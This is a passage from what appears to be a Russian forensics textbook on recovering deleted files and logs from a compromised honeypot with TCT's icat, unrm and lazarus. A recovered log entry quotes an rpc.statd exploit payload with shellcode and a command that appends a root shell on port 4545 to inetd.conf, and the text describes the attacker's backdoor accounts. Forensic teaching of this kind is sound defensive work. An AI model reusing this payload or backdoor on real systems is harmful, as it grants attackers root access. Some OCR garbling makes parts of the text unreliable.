Удаленные файлы можно потенциально восстановить, если была определена inode, что и произошло в данном примере. В ТСТ входит инструмент под названием icat, созданный специально для таких случаев. При наличии восстановленной структуры inode инструмент icat может восстановить удаленный файл.
ids $ icat images/honeypot.hda8.dd 8133 > recovered_file
ids $file recovered_file
recovered_file: GNU tar archive
ids $ls -1 recovered_file
-rw-r 1 lance lance 2129920 Feb 21 19:44 recovered_file
Мы видим, что это файл архива tar. Обратите внимание на то, что размер восстановленного файла соответствует значению в восстановленной inode. В рамках нашего анализа можно теперь разархивировать и проанализировать восстановленный файл. В данном случае мы обнаружили, что в файле содержится IRC bot, или робот, программа под названием eggdrop, с функциями кодирования. Информацию о eggdrop и IRC bot можно найти на следующих сайтах:
Информация о владельце говорит о том, что для загрузки была использована учетная запись пользователя lance. Она существовала в разделе hda8, который является корневым. Скорее всего, файл был загружен в /tmp, самое подходящее место для записи при помощи lance. Подробный анализ восстановленной программы eggdrop показывает, что она была создана для целей кодирования.
Помимо восстановления inode у ТСТ есть еще одна опция, ипгт, предназначенная для восстановления удаленных файлов. Эта утилита отличается от icat, который восстанавливает данные, относящиеся к отдельной inode. Напротив, unrm берет раздел и выдает все, что было удалено из него. При установке образов разделов в /mnt, мы можем получить доступ к существующей файловой системе, но не можем обратиться ни к чему из того, что было удалено. Unrm предоставляет полностью противоположную возможность: выдает только данные, которые были удалены. Это отличный способ восстановления тех данных, которые невозможно восстановить при помощи удаленных структур inode. Например, мы подозреваем, что взломщик изменил системные журналы, скорее всего, чтобы удалить все записи о доступе или действиях. Тогда можно воспользоваться функциями unrm для просмотра удаленных областей в разделе /var, где хранятся системные журналы, и посмотреть, что там можно найти. Как и в случае с ils, необходимо использовать unrm только в образе раздела, а не в установленной файловой системе. В приведенном ниже коде мы используем unrm для просмотра образа раздела /var взломанной системы honeypot:
ids $unrm honeypot.hda7.dd | less -B
Nov 5 10:54:05 apollo modprobe: modprobe: Can't locate module ehtO
Nov 5 10:54:52 apollo inetd[408]: pid 680: exit status 1
Nov 5 10:55:11 apollo PAM_pwdb[621]: (login) session closed for user root
Nov 6 03:00:41 apollo ftpd[973]: FTP session closed
Nov 6 04:02:00 apollo anacron[1003]: Updated timestamp for job
'cron.daily' to 2000-11-06
Nov 7 04:02:00 apollo anacron[1576]: Updated timestamp for job
'cron.daily' to 2000-11-07
Nov 8 00:08:41 apollo inetd[408]: pid 2077: exit status 1 Nov 8 00:08:41 apollo inetd[408]: pid 2078: exit status 1 Nov 8 00:09:00 apollo rpc. statd[270]: SM_MOIt request for ho\ stname containing '/': "DAD"E"E"F"F"G~C08049f10 bffff754 000028f8 4d5f4d53 72204e4f \ 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e69\ 61 2720676e 203a272f 000000000000000000000000000000000000000\ 000000000000000000000000000000000000000000000000000000000000\ 000000000000000000000000000000000000000000000000000000000000\ 000000000000000000000000000000000000000000000000000000000000\ 000000000000000bffff7040000000000000000000000000000000000000\ 0000000000bffff7050000bffff706000000000000000000000000000000\
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooox
000000000000000000000000000000000000000000000000000000000000\ 0000000000000000000000000000000000bffff707<90X90><90><90><9\ 0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9\ 0><90><90><90><90><90><90><90><90><90><90><90><90><90x90><9\ 0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9\ 0XEB>R"<89>v <8D>~(<83xC6> <89>"<83> <\ 8D>".<83XC6> <83> <83>#<89>"KC0><83> <88>F\ '<88>F*<83> <88>FF+, <89><8D>N<8\ D>V<80>1<89>/bi\ n/sh -c echo 4545 stream tcp nowait root /bin/sh sh -i >> /e\ tc/inetd.conf;killall -HUP inetd
Здесь мы видим удаленные записи регистрации. Они, скорее всего, были удалены, чтобы скрыть следы деятельности взломщика. Обратите внимание, что в одной записи содержится информация о нападении грс и программный код, который был запущен в системе.
Зачастую unrm собирает большое количество данных, которые не так просто обработать. Инструмент lazarus берет результаты работы unrm и пытается конвертировать восстановленные данные в отдельные бинарные или ASCII-файлы. Затем нужную информацию можно поискать среди этих файлов. Например, unrm был запущен в разделе hda8. Затем собранная информация анализируется при помощи lazarus, который записывает и собирает удаленные файлы, пытаясь как-то их организовать.
Один из файлов, который lazarus назвал 156859.txt, кажется, содержит важную информацию. Дальнейший анализ показывает, что это текстовый файл ASCII, скорее всего, удаленный файл истории команд. Здесь может оказаться самое ценное, так как этот файл записал команды взломщика, а затем был удален. Другими словами, взломщик не хотел нам показывать определенную информацию: команды, для которых требуется локальный доступ - предположительно использование дискеты, с правами системного администратора. То, что идет после команды exit, очевидно, работа злоумышленника, который инсталлирует backdoor (черный ход) и создает учетные записи own и adm1. Это обычный прием хакеров, использующих удаленный взлом, дающий им доступ к командной оболочке. В данном случае при взломе открывается оболочка, выполняющая команды порта 4545/ tcp. Затем взломщик устанавливает с этим портом соединение TELNET и получает доступ администратора без всякого пароля. После этого он устанавливает другой, более надежный черный ход, а потом его закрывает.
Одновременное использование опции unrm и утилиты lazarus - это мощный инструмент восстановления информации. Зачастую именно удаленные данные, которые взломщик хочет скрыть от нашего взгляда, оказываются наиболее значимыми.